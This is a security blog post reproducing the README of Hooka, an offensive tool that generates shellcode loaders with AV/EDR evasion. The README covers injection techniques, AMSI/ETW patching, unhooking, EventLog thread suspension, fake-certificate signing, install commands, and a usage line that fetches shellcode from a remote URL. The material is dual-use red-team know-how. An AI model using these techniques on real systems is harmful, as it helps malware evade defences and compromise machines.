Exploitation Tools

Hooka : Advanced Shellcode Loader Generation With Enhanced Evasion Techniques

Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like BokuLoader, Freeze or Shhhloader, and it tries to implement more evasion features.

Why in Golang? Why not?

Features

This tool is able to generate loaders with this features:

  • Multiple shellcode injection techniques:
    • SuspendedProcess
    • ProcessHollowing
    • NtCreateThreadEx
    • EtwpCreateEtwThread
    • NtQueueApcThreadEx
    • No-RWX
  • Get shellcode from raw file, PE, DLL or from a URL
  • EXE and DLL are supported as output loader formats
  • Encrypt shellcode using:
    • AES
    • 3DES
    • RC4
    • XOR
  • AMSI and ETW patching (enabled by default)
  • Random variables and function names
  • Shikata Ga Nai obfuscation (see here)
  • Multiple ways to detect sandboxing
  • Enable ACG Guard protection
  • Block non-Microsoft signed DLLs from injecting into created processes
  • Capable of unhooking user-mode hooks via multiple techniques:
    • Classic
    • Full DLL
    • Perun’s Fart technique
  • Phant0m technique to suspend EventLog threads
  • Windows API hashing (see here)
  • Sign shellcode loader with fake or real certificates
  • Strings obfuscation via Caesar cipher (see here)
  • Compress code weight using Golang compile and UPX (if it’s installed)
  • Compute binary entropy of the loader
  • Compute MD5, SHA1 and SHA256 checksums to keep track of the loader

Installation

Just clone the repository like this:

git clone https://github.com/D3Ext/Hooka
cd Hooka
make

After that you will find the binary under the build/ folder

Usage

  _   _                   _              _
 | | | |   ___     ___   | | __   __ _  | |
 | |_| |  / _ \   / _ \  | |/ /  / _` | | |
 |  _  | | (_) | | (_) | |   <  | (_| | |_|
 |_| |_|  \___/   \___/  |_|\_\  \__,_| (_)

Usage of Hooka:
  REQUIRED:
    -i, --input string        payload to inject in raw format, as PE, as DLL or from a URL
    -o, --output string       name of output file (i.e. loader.exe)
    -f, --format string       format of the payload to generate (available: exe, dll) (default exe)

  EXECUTION:
    --proc string      process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
    --exec string      technique used to load shellcode (default "SuspendedProcess"):
                         SuspendedProcess
                         ProcessHollowing
                         NtCreateThreadEx
                         EtwpCreateEtwThread
                         NtQueueApcThreadEx
                         No-RWX

  AUXILIARY:
    -a, --arch string       architecture of the loader to generate (default amd64)
    -c, --cert string       certificate to sign generated loader with (i.e. cert.pfx)
    -d, --domain string     domain used to sign loader (i.e. www.microsoft.com)

  ENCODING:
    --enc string         encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
    --sgn                use Shikata Ga Nai to encode generated loader (it must be installed on path)
    --strings            obfuscate strings using Caesar cipher

  EVASION:
    --unhook string       unhooking technique to use (available: full, peruns)
    --sandbox             enable sandbox evasion
    --no-amsi             don't patch AMSI
    --no-etw              don't patch ETW
    --hashing             use hashes to retrieve function pointers
    --acg                 enable ACG Guard to prevent AV/EDR from modifying existing executable code
    --blockdlls           prevent non-Microsoft signed DLLs from injecting in child processes
    --phantom             suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
    --sleep               delay shellcode execution using a custom sleep function

  EXTRA:
    --calc              use a calc.exe shellcode to test loader capabilities (don't provide input file)
    --compress          compress generated loader using Golang compiler and UPX if it's installed
    -r, --rand          use a random set of parameters to create a random loader (just for testing purposes)
    -v, --verbose       enable verbose to print extra information
    -h, --help          print help panel

Examples:
  hooka -i shellcode.bin -o loader.exe
  hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
  hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
  hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose

For more information click here.

Varshini

Tamil has a great interest in the fields of Cyber Security, OSINT, and CTF projects. Currently, he is deeply involved in researching and publishing various security tools with Kali Linux Tutorials, which is quite fascinating.

Recent Posts

SecHub : Streamlining Security Across Software Development Lifecycles

The free and open-source security platform SecHub, provides a central API to test software with…

27 minutes ago

Hawker : The Comprehensive OSINT Toolkit For Cybersecurity Professionals

Don't worry if there are any bugs in the tool, we will try to fix…

35 minutes ago

hrtng IDA Plugin : Elevating IDA’s Capabilities For Advanced Malware Analysis

hrtng IDA plugin is a collection of tools, ideas and experiments from different sources I've…

41 minutes ago

DarkFlare : Bypassing Censorship With TCP-Over-CDN Technology

A stealthy command line tool to create TCP-over-CDN(http) tunnels that keep your connections cozy and…

2 days ago

BootExecute EDR Bypass : A Deep Dive Into Early Execution Techniques

Boot Execute allows native applications—executables with the NtProcessStartup entry point and dependencies solely on ntdll.dll—to…

2 days ago

GBounty : Streamlining Vulnerability Scanning For Web Applications

Multi-step website vulnerability scanner designed to help pentesters and bug hunters identify potential vulnerabilities in…

2 days ago